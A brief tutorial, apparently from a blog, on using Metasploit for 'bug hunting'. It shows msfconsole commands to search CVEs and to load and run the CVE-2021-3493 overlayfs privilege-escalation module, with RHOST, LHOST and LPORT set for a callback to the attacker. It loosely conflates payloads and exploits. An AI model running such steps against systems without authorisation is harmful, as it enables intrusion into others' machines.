What is Metasploit
Metasploit is a very useful tool for hacking and bug bounty, by using this tool, we can do mobile hacking, computer, and laptop hacking, as well as exploit servers are also available in it, which is very useful in bug bounty hunting. So let’s see how we can use Metasploit for bug hunting.
How To use
open the terminal in your Linux machine and type this command
msfconsole
now the Metasploit has been started so just search some CVE by this command to exploit
search cve
or
search <enter the name of payload or cve which you wanna search>

so as you can see there are lots of payloads so let’s use one payload for example by using this command
use exploit/linux/local/cve_2021_3493_overlayfs




so now let’s set the target and exploit
show target
set RHOST <enter the target ip >
set LHOST <enter your own ip>
set LPORT <enter the own port number any>
run